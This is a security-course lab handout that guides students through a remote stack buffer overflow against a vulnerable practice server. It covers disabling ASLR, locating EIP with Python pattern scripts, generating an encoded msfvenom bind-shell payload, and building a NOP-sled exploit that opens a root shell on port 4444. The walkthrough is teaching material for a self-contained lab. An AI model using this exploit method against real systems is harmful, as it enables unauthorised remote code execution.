Proj 4: Remote Linux Buffer Overflow With Listening Shell (20 pts.)

What You Need

A 32-bit x86 Kali 2 Linux machine, real or virtual. The project works in a very similar manner on Kali 1.

Purpose

To develop a very simple buffer overflow exploit in Linux. This will give you practice with these techniques:

Disabling ASLR

We'll disable ASLR to make this project easier.

In a Terminal, execute this command:


echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Downloading & Running the Vulnerable Server

In a Terminal window, execute these commands:

curl https://samsclass.info/127/proj/p4-server.c > p4-server.c

curl https://samsclass.info/127/proj/p4-server > p4-server

chmod a+x p4-server

./p4-server
The server is listening on TCP port 4001.

You need two Terminal windows for this project--a "SERVER WINDOW" and a "CLIENT WINDOW", as labelled below.

Open a second Terminal window and execute this command:


nc 127.0.0.1 4001
You see a "Welcome to my server!" banner. Type in the message HELLO and press Enter.

The server echoes back your input and asks for another message, as shown below.

Stopping the Client (and the Server)

In the Terminal window, running "nc", press Ctrl+C. This stops both the client and the server.

Viewing the Source Code

In the SERVER WINDOW, execute these commands:

gdb p4-server

list
You see ten lines of source code for the server, as shown below. This server was compiled with symbols included, which is not typical, but it makes this project easier.

The source code shows the start of the main() function, which calls the socket() function at line 29 to open a listening process.

In line 26, you can see that the main() function uses a buffer 4096 bytes long.

In the SERVER WINDOW, execute this command:


list 11,20
You see the source code for a copier() function, which uses a buffer only 1024 characters long, as shown below.

This suggests that the main() function will allow you to put in more than 1024 characters, and that will overflow a buffer in the copier() function.

In the SERVER WINDOW, execute this command to exit the debugger:


q

Making a DoS Exploit

A simple DoS exploit is a string of "A" characters 1100 characters long.

In a Terminal window, execute this command:


nano p4-b1
Enter this code:

#!/usr/bin/python 

print 'A' * 1100

Save the file with Ctrl+X, Y, Enter.

Execute these commands to create the exploit file:


chmod a+x p4-b1

./p4-b1 > p4-e1

ls -l p4-e1
The file should be 1101 bytes long, as shown below--1100 'A' characters followed by a line feed.

Performing the DoS Attack

In the SERVER WINDOW, execute this command to restart the server:

./p4-server
The server is listening on TCP port 4001.

In the CLIENT WINDOW, execute this command to send the exploit to the server:


nc 127.0.0.1 4001 < p4-e1
The server crashes with a "Segmentation Fault" error, as shown below.

Locating the EIP

We know that the buffer is 1024 bytes long, and that 1100 bytes of input crashes the server.

Somewhere between 1024 and 1100 bytes are the bytes that will end up in $eip. To find them, we'll put a nonrepeating pattern of bytes in the last 100 bytes of the exploit.

In a Terminal window, execute this command:


nano p4-b2
Enter this code:

#!/usr/bin/python 

prefix = 'A' * 1000

pattern = ''
for i in range(0, 5):
   for j in range(0, 10):
      pattern += str(i) + str(j)
      
print prefix + pattern

Save the file with Ctrl+X, Y, Enter.

Execute these commands to create the exploit file:


chmod a+x p4-b2

./p4-b2 > p4-e2

ls -l p4-e2

cat p4-e2
The file should be 1101 bytes long, as shown below--1000 'A' characters, then 50 two-digit numbers counting up, followed by a line feed.

Debugging the Server

In the SERVER WINDOW, execute these commands to run the server in the gdb debugging environment:

gdb p4-server

run 
In the CLIENT WINDOW, type this command to send the exploit to the server, but don't press Enter yet:

nc 127.0.0.1 4001 < p4-e2
Your screen should look like this:

In the CLIENT WINDOW, press Enter.

The server crashes with a "Segmentation Fault" error, as shown below.

In the SERVER WINDOW, execute this command:


info registers
This shows $eip at the point of the crash. It contains 0x39313831, as shown below.

Numbers have very simple ANSI codes, as shown below.

Hex  Char
---  ----
 30   0
 31   1
 32   2
 33   3
 34   4
 35   5
 36   6
 37   7
 38   8
 39   9
So the $eip is 0x39313831 because the bytes in RAM were the characters 1819. The order is reversed because the ANSI text is interpreted as a little-endian register value.

Targeting the EIP

To test our exploit, we'll try to put a specific address of 0x44434241 in the EIP.

In the CLIENT WINDOW, press Ctrl+C. This stops the client.

The server has already crashed. In the SERVER WINDOW, press q, Enter, y, Enter to exit gdb.

In the SERVER WINDOW, execute this command:


nano p4-b3
Enter this code:

#!/usr/bin/python 

prefix = 'A' * 1000
padding1 = '000102030405060708091011121314151617'
eip = '\x41\x42\x43\x44'
padding2 = 'X' * (1100 - 1000 - len(padding1) -4)
      
print prefix + padding1 + eip + padding2

Save the file with Ctrl+X, Y, Enter.

Execute these commands to create the exploit file:


chmod a+x p4-b3

./p4-b3 > p4-e3

ls -l p4-e3

cat p4-e3
The file should be 1101 bytes long, as shown below, with these sections:

Debugging the Server

In the SERVER WINDOW, execute these commands to run the server in the gdb debugging environment:

gdb p4-server

run 
In the CLIENT WINDOW, type this command to send the exploit to the server:

nc 127.0.0.1 4001 < p4-e3
The server crashes with a "Segmentation Fault" error, as shown below. It's complaining about a bad address of "0x44434241", but we don't necessarily know it was because that address was in the $eip yet.

In the SERVER WINDOW, execute this command:


info registers
This shows $eip at the point of the crash. It contains 0x44434241, as shown below, as it should--we now control the $eip!

Saving a Screen Image

Make sure the eip line showing 0x44434241 is visible, as shown above.

Press the PrintScrn key to copy the whole desktop to the clipboard.

YOU MUST SUBMIT A FULL-SCREEN IMAGE FOR FULL CREDIT!

Paste the image into Paint.

Save the document with the filename "YOUR NAME Proj 4a", replacing "YOUR NAME" with your real name.

Quitting the Debugger

In the gdb debugging environment, execute this command:

quit
At the "Quit anyway? (y or n)" prompt, type y and press Enter.

Preparing to Insert Shellcode

In the SERVER WINDOW, execute this command:

nano p4-b4
Enter this code:

#!/usr/bin/python 

INSERT SHELLCODE HERE

prefix = 'A' * (1036 - 200 - len(buf))
nopsled = '\x90' * 200
eip = '\x41\x42\x43\x44'
padding = 'X' * (1100 - 1036 - 4)
      
print prefix + nopsled + buf + eip + padding

Save the file with Ctrl+X, Y, Enter.

This will create an exploit with these sections:

Getting Shellcode

The shellcode is the payload of the exploit. It can do anything you want, but it must not contain any null bytes (00) because they would terminate the string prematurely and prevent the buffer from overflowing.

Also, it cannot contain Line Feed (0A) or Carriage Return (0D) characters, because we are inputting it at a prompt, and those would terminate the input line prematurely.

Metasploit provides a tool named msfvenom to generate shellcode.

In the SERVER WINDOW, execute this command, which shows the exploits available for a Linux platform, which bind a shell to a listening TCP port:


msfvenom -l payloads | grep linux | grep bind_tcp

The exploit we want is highlighted above: linux/x86/shell_bind_tcp

To see the payload options, execute this command:


msfvenom -p linux/x86/shell_bind_tcp --payload-options

Troubleshooting

In June, 2018, the "--payload-options" option was changed to "--list-options", so if you have a recent version of Metasploit, use this command instead:

msfvenom -p linux/x86/shell_bind_tcp --list-options
The top portion of the output shows the Basic options. The only parameter we really need is "LPORT" -- the port to listen on, and it defaults to 4444.

To generate Python exploit code, execute this command:


msfvenom -p linux/x86/shell_bind_tcp -f python
The resulting payload isn't useful for us, because it contains a null byte ("\x00"), as shown below.

That null byte will terminate the string, preventing the shellcode from entering the buffer.

We could use the "-b" switch to avoid bad characters, but since we have plenty of room (1000 bytes or so), we can use the "-e x86/alpha_mixed" switch, which will encode the exploit using only letters and numbers.

When I first developed this exploit, it spawned a listening process, but it crashed as soon as I connected to it. By trial and error, I discovered that the 'AppendExit=true' switch fixed that problem. I don't really know why.

Execute this command:


msfvenom -p linux/x86/shell_bind_tcp AppendExit=true -e x86/alpha_mixed -f python
This payload is longer--232 bytes. Highlight the Python code and copy it to the clipboard, as shown below:

Constructing the Exploit

In the SERVER WINDOW, execute this command:

nano p4-b4
Remove the "INSERT PAYLOAD HERE" text and paste in the exploit code produced by msfvenom.

The end of your program should now look like the image below.

Save the file with Ctrl+X, Y, Enter.

Execute these commands to create the exploit file:


chmod a+x p4-b4

./p4-b4 > p4-e4

ls -l p4-e4
The file should be 1101 bytes long, as shown below:

Debugging the Server

In the SERVER WINDOW, execute these commands to run the server in the gdb debugging environment:

gdb p4-server

run 
In the CLIENT WINDOW, type this command to send the exploit to the server:

nc 127.0.0.1 4001 < p4-e4
The server crashes with a "Segmentation Fault" error, as shown below.

In the SERVER WINDOW, execute this command:


info registers
This shows $eip at the point of the crash. It contains 0x44434241, as shown below, as it should.

Viewing the Stack

To see the exploit's structure in RAM, we need to put a breakpoint in the code to stop it before it crashes.

In the SERVER WINDOW, execute this command:


list 11,20
As shown below, the buffer overflow occurs in line 14, calling the notorious strcpy() command. We want to break at line 15, immediately after the buffer overflow, before the program attempts to return from copier().

In the SERVER WINDOW, execute these commands to quit dbg, restart it, set the breakpoint and start the server:


q

y

gdb p4-server

break 15

run

Troubleshooting

When you restart the server, you may see "ERROR on binding: Address already in use", as shown below:

That's because a connection to address 4001 hasn't timed out yet. To see it, exit the debugger and cancel "nc" if it's running.

Then execute this command:


watch "netstat -an | grep 4001"

A live display shows all connections to port 4001. If you see a process in the TIME-WAIT state like this:

Wait for a minute or so until it closes:

Now you can resume debugging the server.

Running the Exploit

In the CLIENT WINDOW, type this command to send the exploit to the server:

nc 127.0.0.1 4001 < p4-e4
The server stops at the breakpoint, as shown below.

NOTE: the error message indicates that the local variable "str" can no longer be found because the stack has been corrupted. This doesn't mean the server has crashed--it just means that gdb cannot provide all the information it is trying to.

In the SERVER WINDOW, execute this command:


info registers
As shown below, $eip points to <copier+30>, which is correct because the program has not yet crashed.

The $ebp and $esp values are also correct at this point, so we can examine the stack.

In the SERVER WINDOW, execute this command:


x/260x $esp
The first page of the stack is filled with '\x41' bytes, ANSI for 'A', as shown below:

Press Enter to see the second page. It's all '\x41' bytes too.

Press Enter to see the third page. Here you see the last of the '\x41' bytes and the start of the '\x90' values. This is the NOP sled.

Press Enter to see the fourth page. Here you see the end of the NOP sled, followed by the shellcode, highlighted in the image below.

Press Enter to see the fifth and last page of the stack.

Here you see the last three words of the shellcode (highlighted in the image below), and the address which will be placed in $eip. At present, this address is '\x41\x42\x43\x44' in reverse order, a dummy value of 'ABCD' we placed there just to mark the spot.

Adjusting $eip to Hit the NOP Sled

We need to choose an address inside the NOP sled. As you can see above, the address 0xbfffceb0 is in the middle of the NOPs. Reversing the order of the bytes, that is '\xb0\xce\xff\xbf'

Constructing the Complete Exploit

In the CLIENT WINDOW, press Ctrl+C.

In the SERVER WINDOW, execute these commands:


q

y

cp p4-b4 p4-b5

nano p4-b5
Change the eip to the new value, as shown below.

Save the file with Ctrl+X, Y, Enter.

Execute these commands to create the exploit file:


chmod a+x p4-b5

./p4-b5 > p4-e5

ls -l p4-e5
The file should be 1101 bytes long, as shown below:

Debugging the Server

In the SERVER WINDOW, execute these commands to run the server in the gdb debugging environment:

gdb p4-server

run 
In the CLIENT WINDOW, type this command to send the exploit to the server:

nc 127.0.0.1 4001 < p4-e5
Nothing appears to happen. The server doesn't crash--it just sits there, as shown below.

This is because the exploit worked! It opened another shell on port 4444.

To see it, open a third Terminal window and execute this command:


netstat -an | grep 4444
You should see a process listening on port 4444, as shown below.

You can now execute Linux commands from the shell. Try these commands, as shown in the image above:


whoami

pwd

Saving a Screen Image

Make sure the answer root to "whoami" is visible, as shown above.

Press the PrintScrn key to copy the whole desktop to the clipboard.

YOU MUST SUBMIT A FULL-SCREEN IMAGE FOR FULL CREDIT!

Paste the image into Paint.

Save the document with the filename "YOUR NAME Proj 4b", replacing "YOUR NAME" with your real name.

Testing the Exploit in the Normal Shell

In the SERVER WINDOW, press Ctrl+C. Then execute these commands:

q

y

./p4-server
In the CLIENT WINDOW, execute this command:

nc 127.0.0.1 4001 < p4-e5
The exploit should work, so you see no visible change, as a new process spawns listing on port 4444.

Troubleshooting

If your exploit works in gdb but not in the normal shell, that probably means that ASLR is on. Execute this command to turn it off:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Leave both the SERVER WINDOW and CLIENT WINDOW as they are. In a third Terminal window, execute this command:

netstat -an | grep 4444
You should see a process listening on port 4444, as shown below.

Connecting Remotely

In the third Terminal window, execute this command:

ifconfig
Find your Linux machine's IP address.

From the host machine, or some other convenient machine, connect to your Linux box on port 4444. You can use nc on a Mac or Linux box, as shown below. On a Windows box, either install the optional 'telnet' client Windows feature in Control Panel and use that, or install Nmap and use "Ncat".

Saving a Screen Image

Make sure you can see a connection to a real IP address, not 127.0.0.1, and the root answer to "whoami", as shown above.

Press the PrintScrn key to copy the whole desktop to the clipboard.

YOU MUST SUBMIT A FULL-SCREEN IMAGE FOR FULL CREDIT!

Paste the image into Paint.

Save the document with the filename "YOUR NAME Proj 4c", replacing "YOUR NAME" with your real name.

Turning in your Project

Email the images to cnit.127sam@gmail.com with the subject line: Proj 4 from YOUR NAME

Sources

How to use msfvenom


ASLR tip added at end 9-19-18
--payload-options troubleshooting tip added 9-20-18